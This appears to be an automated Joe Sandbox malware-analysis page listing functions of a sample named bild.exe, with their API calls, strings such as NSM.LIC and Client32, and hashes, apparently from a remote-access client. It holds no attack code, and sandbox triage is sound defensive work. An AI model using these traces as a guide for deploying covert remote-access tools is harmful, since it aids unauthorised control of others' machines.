Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: _free$AttributesCreateDirectoryErrorFileFreeHeapLast__strdup_strrchr
String ID:
API String ID: 398584587-0
Opcode ID: 1d6e66add7aa45a35b25948c47e98be79544d5c3af84ae5a96c3b7650b6c772d
Instruction ID: 9245e394badc27c9d68c775c1ae1103ae8f1f8453310ecf51c29309078bed6c3
Opcode Fuzzy Hash: 1d6e66add7aa45a35b25948c47e98be79544d5c3af84ae5a96c3b7650b6c772d
Instruction Fuzzy Hash: F4016D7A7441065BF301197D7C057ABBB8C8F82AADF144032F89DC3D80F752E41682A1

Function 1100ED70 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 1100EDA2

Part of subcall function 11160824: _setlocale.LIBCMT ref: 11160836

_free.LIBCMT ref: 1100EDB4

Part of subcall function 11162BE5: HeapFree.KERNEL32(00000000,00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162BFB
Part of subcall function 11162BE5: GetLastError.KERNEL32(00000000,?,1116B7A6,00000000,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162C0D

_free.LIBCMT ref: 1100EDC7
_free.LIBCMT ref: 1100EDDA
_free.LIBCMT ref: 1100EDED

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLastLocinfo::_Locinfo_dtor_setlocalestd::_
String ID:
API String ID: 3515823920-0
Opcode ID: e9cccfb890659d646b87ebb6d02808fc30e7ad32e75d4fdbd2f602c0bae7d034
Instruction ID: 71b49ece8787e94f553dd036e4ff5c8d0ec16ff98238e97fea1187b5179b4c62
Opcode Fuzzy Hash: e9cccfb890659d646b87ebb6d02808fc30e7ad32e75d4fdbd2f602c0bae7d034
Instruction Fuzzy Hash: E61190B1D046109BD620DF599C40A5BF7FCEB44754F144A2AE456D3780E672F900CB91

Function 11145910 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 51COMMON

Download Yara Rule

APIs

Part of subcall function 11144BD0: GetModuleFileNameA.KERNEL32(00000000,?,00000104,11194AB8), ref: 11144C3D
Part of subcall function 11144BD0: SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,1110F4CB), ref: 11144C7E
Part of subcall function 11144BD0: SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 11144CDB

wsprintfA.USER32 ref: 1114593E
wsprintfA.USER32 ref: 11145954

Part of subcall function 11143230: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,1110F4CB,75BF8400,?), ref: 111432C7
Part of subcall function 11143230: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 111432E7
Part of subcall function 11143230: CloseHandle.KERNEL32(00000000), ref: 111432EF

Strings

%sNSA.LIC, xrefs: 1114594E
%sNSM.LIC, xrefs: 11145938
NSM.LIC, xrefs: 11145923

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: File$CreateFolderPathwsprintf$CloseHandleModuleName
String ID: %sNSA.LIC$%sNSM.LIC$NSM.LIC
API String ID: 3779116287-2600120591
Opcode ID: 67484a9d389779804940ba9c5ec62be4ee321b08fc9342a56252b28d4b9918b0
Instruction ID: 1f9a4f0ce9ce2038842d239495dc50e58c380b2d1dc072d0c6c391bd72002940
Opcode Fuzzy Hash: 67484a9d389779804940ba9c5ec62be4ee321b08fc9342a56252b28d4b9918b0
Instruction Fuzzy Hash: 9C01B1B990521D66CB109BB0AC41FEAF77C9B1470DF100199EC1996940EE21BA548BA4

Function 11143230 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,1110F4CB,75BF8400,?), ref: 111432C7
CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 111432E7
CloseHandle.KERNEL32(00000000), ref: 111432EF

Strings

", xrefs: 1114327E

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CreateFile$CloseHandle
String ID: "
API String ID: 1443461169-123907689
Opcode ID: 6335c3239e743a75aad2b4d26ce3924e96bfc614049b49f4e6d7105e566d10f2
Instruction ID: 150de81b6b92e27c68bcdd2e608667d56283c35638c5ea37a79585d4ca6bceb2
Opcode Fuzzy Hash: 6335c3239e743a75aad2b4d26ce3924e96bfc614049b49f4e6d7105e566d10f2
Instruction Fuzzy Hash: 38217C30A1C269AFE3128E78DD54FD9BBA49F45B14F3041E0E4999B1C1DBB1A948C750

Function 1102D0D0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

SetEvent.KERNEL32(?,Client,DisableGeolocation,00000000,00000000,73B292A0,74DF2EE0,?,00000000,1118083B,000000FF,?,110300D6,UseIPC,00000001,00000000), ref: 1102D187

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

Part of subcall function 1110F520: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,76EEC3F0,?,1111022D,00000000,00000001,?,?,?,?,?,11031040), ref: 1110F53E

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 1102D14A

Strings

Client, xrefs: 1102D103
DisableGeolocation, xrefs: 1102D0FE

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Event$Create$__wcstoi64_malloc_memsetwsprintf
String ID: Client$DisableGeolocation
API String ID: 3315423714-4166767992
Opcode ID: a2dd62344aa7ed2eba45e03fd0b01f9a1bb13e0d2f8602a6c4817aeae004d655
Instruction ID: 1755caac6fc2658334c1ed2ebc8622a08952aff54e10c128aab6c20125b970ec
Opcode Fuzzy Hash: a2dd62344aa7ed2eba45e03fd0b01f9a1bb13e0d2f8602a6c4817aeae004d655
Instruction Fuzzy Hash: 8521E474A40315BBE712CFA8CD42B6EF7A4E708B18F500269F921AB3C0D7B5B8008785

Function 110271B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53windowCOMMON

Download Yara Rule

APIs

GetMessageA.USER32(?,00000000,00000000,00000000), ref: 110271DA

Part of subcall function 110CD550: EnterCriticalSection.KERNEL32(00000000,00000000,75BF3760,00000000,75C0A1D0,1105DCBB,?,?,?,?,11026543,00000000,?,?,00000000), ref: 110CD56B
Part of subcall function 110CD550: SendMessageA.USER32(00000000,00000476,00000000,00000000), ref: 110CD598
Part of subcall function 110CD550: SendMessageA.USER32(00000000,00000475,00000000,?), ref: 110CD5AA
Part of subcall function 110CD550: LeaveCriticalSection.KERNEL32(?,?,?,?,11026543,00000000,?,?,00000000), ref: 110CD5B4

TranslateMessage.USER32(?), ref: 110271F0
DispatchMessageA.USER32(?), ref: 110271F6

Strings

Exit Msgloop, quit=%d, xrefs: 1102722D

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Message$CriticalSectionSend$DispatchEnterLeaveTranslate
String ID: Exit Msgloop, quit=%d
API String ID: 3212272093-2210386016
Opcode ID: 4c35fe21e6f1fdccfd242282fb0e51879004b37df93db9ac228ac0a7d4dc8e25
Instruction ID: 083e85bce0718499e1b375aadfda5de5654481b636091be3423b85693ac47093
Opcode Fuzzy Hash: 4c35fe21e6f1fdccfd242282fb0e51879004b37df93db9ac228ac0a7d4dc8e25
Instruction Fuzzy Hash: 3D01D876E0521D66EB15DAE99C82F6FF3BD6B64718FD00065EE1092185F760F404CBA1

Function 110173F0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 110173FD

Part of subcall function 11017300: WaitForSingleObject.KERNEL32(000002F4,000000FF), ref: 1101733C
Part of subcall function 11017300: CoInitialize.OLE32(00000000), ref: 11017345
Part of subcall function 11017300: _GetRawWMIStringW@16.PCICL32(Win32_ComputerSystem,00000001,?,?), ref: 1101736C
Part of subcall function 11017300: CoUninitialize.COMBASE ref: 110173D0

Part of subcall function 11017220: WaitForSingleObject.KERNEL32(000002F4,000000FF), ref: 11017252
Part of subcall function 11017220: CoInitialize.OLE32(00000000), ref: 1101725B
Part of subcall function 11017220: _GetRawWMIStringW@16.PCICL32(Win32_SystemEnclosure,00000001,?,?), ref: 11017282
Part of subcall function 11017220: CoUninitialize.COMBASE ref: 110172E0

SetEvent.KERNEL32(000002F4), ref: 1101741D
GetTickCount.KERNEL32 ref: 11017423

Strings

touchkbd, systype=%d, chassis=%d, took %d ms, xrefs: 1101742D

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CountInitializeObjectSingleStringTickUninitializeW@16Wait$Event
String ID: touchkbd, systype=%d, chassis=%d, took %d ms
API String ID: 3804766296-4122679463
Opcode ID: 66f2a400a49d4a3db1117531ae3dbc6183e4453ddcab9e324682772d92ed33ab
Instruction ID: c54e938b4ab1921e6220328725fe5e45cb955b1045b44cf9de438437e8313787
Opcode Fuzzy Hash: 66f2a400a49d4a3db1117531ae3dbc6183e4453ddcab9e324682772d92ed33ab
Instruction Fuzzy Hash: 47F0A0B6E1011C6BE700DBF9AC8AE6BBB9CDB4471CB100026F910C7245E9A6BC1087A1

Function 111377F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 27threadCOMMON

Download Yara Rule

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

CreateThread.KERNEL32(00000000,00001000,Function_00137630,00000000,00000000,11138782), ref: 1113782E
CloseHandle.KERNEL32(00000000,?,11138782,AutoICFConfig,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 11137835

Strings

*AutoICFConfig, xrefs: 11137807
Client, xrefs: 1113780C

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CloseCreateHandleThread__wcstoi64
String ID: *AutoICFConfig$Client
API String ID: 3257255551-59951473
Opcode ID: 58a92f72c8c5fc2ca777e547e4c7fef86ef2c1d8c64fc3a44eb11c2425719861
Instruction ID: 9aee7181833ba8711af7cecc10eced9f2f0784297ad8accf53734ae3fbf9e9e1
Opcode Fuzzy Hash: 58a92f72c8c5fc2ca777e547e4c7fef86ef2c1d8c64fc3a44eb11c2425719861
Instruction Fuzzy Hash: 98E0D8757A062D7AF6149AE98C86F65F6199744B26F500154FA20A50C4D6A0A440CB64

Function 11070C60 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 134sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000000FA), ref: 11070CB7
EnterCriticalSection.KERNEL32(?), ref: 11070CC4
LeaveCriticalSection.KERNEL32(?), ref: 11070D96

Strings

Push, xrefs: 11070C86

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeaveSleep
String ID: Push
API String ID: 1566154052-4278761818
Opcode ID: a72291858ce6dc6b0c64ae6c986eadc989c908336576dbf916d062231e355c4c
Instruction ID: e8f6e055aac827a13dfabc2dec6ad808bd843e21556e42594c7620890779e76f
Opcode Fuzzy Hash: a72291858ce6dc6b0c64ae6c986eadc989c908336576dbf916d062231e355c4c
Instruction Fuzzy Hash: 1B51CC78E04784DFE721DF64C880B8AFBE0EF09318F1546A9D8998B285D770BC84CB91

Function 00B11020 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

GetCommandLineA.KERNEL32 ref: 00B11027
GetStartupInfoA.KERNEL32(?), ref: 00B1107B
GetModuleHandleA.KERNEL32(00000000,00000000,00000000,?), ref: 00B11096
ExitProcess.KERNEL32 ref: 00B110A3

Memory Dump Source

Source File: 00000001.00000002.4167825002.0000000000B11000.00000020.00000001.01000000.00000008.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.4167804848.0000000000B10000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.4167843040.0000000000B12000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_bild.jbxd

Yara matches

Similarity

API ID: CommandExitHandleInfoLineModuleProcessStartup
String ID:
API String ID: 2164999147-0
Opcode ID: 81b502cad1107d9190d561e20852671a785985d9ac0f3800af080059707d62f4
Instruction ID: 4ca26df387381ad0174787164872d94ed69c0286902cc1e57a661abc2e797938
Opcode Fuzzy Hash: 81b502cad1107d9190d561e20852671a785985d9ac0f3800af080059707d62f4
Instruction Fuzzy Hash: 6211E120C043D45AEB719F68885C7EABFE5DB0F380FE448C4EAD6A7146C65248C7C3A4

Function 110306E7 Relevance: 6.0, APIs: 4, Instructions: 36synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000001F4), ref: 110306FC
CloseHandle.KERNEL32(?), ref: 11030709
FreeLibrary.KERNEL32(?), ref: 11030714
CloseHandle.KERNEL32(00000000), ref: 1103071B

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CloseHandle$FreeLibraryObjectSingleWait
String ID:
API String ID: 1314093303-0
Opcode ID: 7d2e314c4a79abf06013014507abe82da34b4e69185c6a4a9ad4d68e1235ff59
Instruction ID: 8e76f7fb4e107f93cb89770177b2081f40004907d07b5dfd0c3c9c847909df3d
Opcode Fuzzy Hash: 7d2e314c4a79abf06013014507abe82da34b4e69185c6a4a9ad4d68e1235ff59
Instruction Fuzzy Hash: A7F08135E1425ADFE714DF60D889BADF774FB88319F0002A9D82A52180DF355940CB50

Function 11143C20 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(1102947F,?,11143E73,?), ref: 11143C2C
GetModuleFileNameA.KERNEL32(00000000,C:\Users\Public\Downloads\bild.exe,00000104,?,11143E73,?), ref: 11143C49

Strings

C:\Users\Public\Downloads\bild.exe, xrefs: 11143C34, 11143C42

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CurrentFileModuleNameProcess
String ID: C:\Users\Public\Downloads\bild.exe
API String ID: 2251294070-1293389744
Opcode ID: 723324e2a123dfbea80ddcbfb8a880b064ecb9608f963ee43b1e571dd00f4a9e
Instruction ID: b9aa28b4973dc8f7500fb142756b1fa860f28402029a3e5f5efe4e67c4e883a6
Opcode Fuzzy Hash: 723324e2a123dfbea80ddcbfb8a880b064ecb9608f963ee43b1e571dd00f4a9e
Instruction Fuzzy Hash: F811E7747282235BE7149F76C994719F7A5AB40B5DF20403EE819C76C4DB71F845C744

Function 1110F4A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 1110F4A9

Part of subcall function 11162B51: __FF_MSGBANNER.LIBCMT ref: 11162B6A
Part of subcall function 11162B51: __NMSG_WRITE.LIBCMT ref: 11162B71
Part of subcall function 11162B51: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,1110F4AE,?,?,?,?,11145032,?,?,?), ref: 11162B96

_memset.LIBCMT ref: 1110F4D2

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

